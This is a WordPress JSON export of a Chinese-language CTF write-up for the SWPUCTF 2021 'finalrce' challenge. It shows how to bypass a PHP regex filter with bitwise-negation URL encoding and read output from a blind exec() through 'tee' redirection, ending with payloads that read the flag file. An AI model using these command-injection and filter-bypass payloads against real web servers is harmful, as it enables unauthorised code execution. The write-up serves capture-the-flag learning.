{"id":1134,"date":"2025-01-18T23:23:19","date_gmt":"2025-01-18T15:23:19","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1134"},"modified":"2025-01-18T23:23:20","modified_gmt":"2025-01-18T15:23:20","slug":"swpuctf-2021-%e6%96%b0%e7%94%9f%e8%b5%9bfinalrce","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/swpuctf-2021-%e6%96%b0%e7%94%9f%e8%b5%9bfinalrce\/","title":{"rendered":"SWPUCTF 2021 \u65b0\u751f\u8d5bfinalrce"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130114156.png\" alt=\"Pasted image 20241130114156.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130125454.png\" alt=\"Pasted image 20241130125454.png\"><\/p>\n<p>\u6b63\u5219\u5339\u914d\u6389\u4e86\u5927\u90e8\u5206\uff0c\u57fa\u672c\u4e0a\u666e\u901a\u65b9\u6cd5\u662f\u4e0d\u80fd\u7528\u4e86\uff0c\u81ea\u589eRCE\u4e5f\u662f\u7528\u4e0d\u4e86\uff0c\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\u4ed6\u6ca1\u6709\u8fc7\u6ee4~\u548c\uff08\uff09\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u53d6\u53cd\u6216\u8005\u5f02\u6216\u6765\u83b7\u53d6flag<br \/>\n&lt;?php<br \/>\necho urlencode(~&#8217;ls \/&#8217;);<br \/>\necho &quot;&lt;br&gt;&quot;;<br \/>\necho urlencode(~&#8217;system&#8217;);<br \/>\n?&gt;<\/p>\n<p>\u8f93\u51fa\uff1a%93%8C%DF%D0<br \/>\n%8C%86%8C%8B%9A%92<br \/>\n?url=(~%93%8C%DF%D0)(%8C%86%8C%8B%9A%92)<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130133511.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130133511.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241130133511.png\"><\/div><br \/>\n\u53d1\u73b0\u65e0\u4efb\u4f55\u56de\u663e<\/p>\n<p>exce()\u51fd\u6570\u4e0d\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff0c\u6240\u4ee5\u8981\u8fdb\u884c\u8f93\u51fa\u91cd\u5b9a\u5411<br \/>\nexce()\u51fd\u6570\uff0c\u53ef\u5c06\u6267\u884c\u7ed3\u679c\u8f93\u51fa\u5230\u6587\u4ef6\u518d\u8bbf\u95ee\u6587\u4ef6\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u540e\u8bbf\u95ee1.txt\u5373\u53ef<br \/>\nl\\s \/ | tee 1.txt<br \/>\n\uff08\u8fd9\u91cc\u89e3\u91ca\u4e00\u4e0btee\u7684\u4f5c\u7528\uff1a<br \/>\ntee\u547d\u4ee4\u7528\u4e8e\u8bfb\u53d6\u6807\u51c6\u8f93\u5165\u7684\u6570\u636e\uff0c\u5e76\u5c06\u5176\u5185\u5bb9\u8f93\u51fa\u6210\u6587\u4ef6\u3002<br \/>\ntee\u6307\u4ee4\u4f1a\u4ece\u6807\u51c6\u8f93\u5165\u8bbe\u5907\u8bfb\u53d6\u6570\u636e\uff0c\u5c06\u5176\u5185\u5bb9\u8f93\u51fa\u5230\u6807\u51c6\u8f93\u51fa\u8bbe\u5907\uff0c\u540c\u65f6\u4fdd\u5b58\u6210\u6587\u4ef6\u3002<\/p>\n<pre><code class=\"language-php\">command | tee output.txt\n<\/code><\/pre>\n<p>\uff09<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130134737.png\" alt=\"Pasted image 20241130134737.png\"><\/p>\n<p>tee\u5c06\u60f3\u8981\u6267\u884c\u7684\u547d\u4ee4\u5199\u5165\u5230\u4e00\u4e2a\u6587\u4ef6\u91cc\u9762\uff0c\u7136\u540e\u518d\u53bb\u8bbf\u95ee\u8fd9\u4e2a\u6587\u4ef6\u3002<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130134806.png\" alt=\"Pasted image 20241130134806.png\"><\/p>\n<p>cat\u547d\u4ee4\u88ab\u8fc7\u6ee4\u4e86\uff0c\u90a3\u76f4\u63a5\u7528tac<br \/>\n?url=tac \/flllll\\aaaaaaggggggg|tee 3.txt(\u56e0\u4e3a\u8fc7\u6ee4\u4e86la)<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130135229.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130135229.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241130135229.png\"><\/div><br \/>\n\u8bbf\u95ee3.txt<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130135506.png\" alt=\"Pasted image 20241130135506.png\"><\/p>\n<h3>\u603b\u7ed3<\/h3>\n<h4>\u65e0\u56de\u663eRCE<\/h4>\n<p>exec\u51fd\u6570\uff1a<br \/>\nexce()\u51fd\u6570\u4e0d\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff0c\u6240\u4ee5\u8981\u8fdb\u884c\u8f93\u51fa\u91cd\u5b9a\u5411<br \/>\nexce()\u51fd\u6570\uff0c\u53ef\u5c06\u6267\u884c\u7ed3\u679c\u8f93\u51fa\u5230\u6587\u4ef6\u518d\u8bbf\u95ee\u6587\u4ef6\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u540e\u8bbf\u95ee1.txt\u5373\u53ef<br \/>\nl\\s \/ | tee 1.txt<br \/>\ntee\u7684\u4f5c\u7528\uff1a<br \/>\ntee\u547d\u4ee4\u7528\u4e8e\u8bfb\u53d6\u6807\u51c6\u8f93\u5165\u7684\u6570\u636e\uff0c\u5e76\u5c06\u5176\u5185\u5bb9\u8f93\u51fa\u6210\u6587\u4ef6\u3002<br \/>\ntee\u6307\u4ee4\u4f1a\u4ece\u6807\u51c6\u8f93\u5165\u8bbe\u5907\u8bfb\u53d6\u6570\u636e\uff0c\u5c06\u5176\u5185\u5bb9\u8f93\u51fa\u5230\u6807\u51c6\u8f93\u51fa\u8bbe\u5907\uff0c\u540c\u65f6\u4fdd\u5b58\u6210\u6587\u4ef6\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6b63\u5219\u5339\u914d\u6389\u4e86\u5927\u90e8\u5206\uff0c\u57fa\u672c\u4e0a\u666e\u901a\u65b9\u6cd5\u662f\u4e0d\u80fd\u7528\u4e86\uff0c\u81ea\u589eRCE\u4e5f\u662f\u7528\u4e0d\u4e86\uff0c\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\u4ed6\u6ca1\u6709\u8fc7\u6ee4~\u548c\uff08\uff09\uff0c\u6240\u4ee5\u6211 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[26,43,29],"class_list":["post-1134","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-rce","tag-29"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1134"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1134\/revisions"}],"predecessor-version":[{"id":1135,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1134\/revisions\/1135"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1134"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}